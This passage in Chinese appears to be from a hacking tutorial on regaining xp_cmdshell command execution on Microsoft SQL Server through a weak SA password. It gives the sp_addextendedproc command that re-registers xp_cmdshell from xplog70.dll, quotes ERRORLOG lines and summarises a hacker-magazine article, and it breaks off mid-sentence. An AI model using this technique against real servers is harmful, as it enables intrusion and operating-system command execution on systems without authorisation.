对SA权限的再突破 (对付xplog70.dll被删)

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

xp_cmdshell存储过程就是通过xplog70.dll文件加载

SQL ERRORLOG的启动信息

2014-03-06 15:04:40.14 spid51 Attempting to load library 'xplog70.dll' into memory. This is an informational message only. No user action is required.
2014-03-06 15:04:40.25 spid51 Using 'xplog70.dll' version '2009.100.1600' to execute extended stored procedure 'xp_msver'. This is an informational message only; no user action is required.

黑客X档案第7期57页，青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后，而服务器去掉了SA的xp_cmdshell权限的情况下，如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名，这一点青野志狼也谈到了，但是他没有写在xplog70.dll被删掉或